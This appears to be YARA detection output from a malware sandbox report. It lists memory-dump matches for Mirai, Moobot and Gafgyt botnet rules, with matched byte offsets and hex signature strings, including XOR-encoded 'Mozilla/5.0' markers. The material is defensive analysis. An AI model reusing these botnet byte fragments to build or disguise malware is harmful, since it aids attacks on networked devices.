6262.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7222.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7222.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7222.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7222.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7222.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7222.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7245.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7245.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7245.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7245.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7245.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7245.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7120.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6232.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6232.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6232.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6232.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6232.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6232.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6856.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6322.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6322.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6322.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6322.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6322.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6322.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7237.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6821.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6821.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6821.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6821.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6821.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6821.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6928.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6584.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7110.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6570.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7268.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7268.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
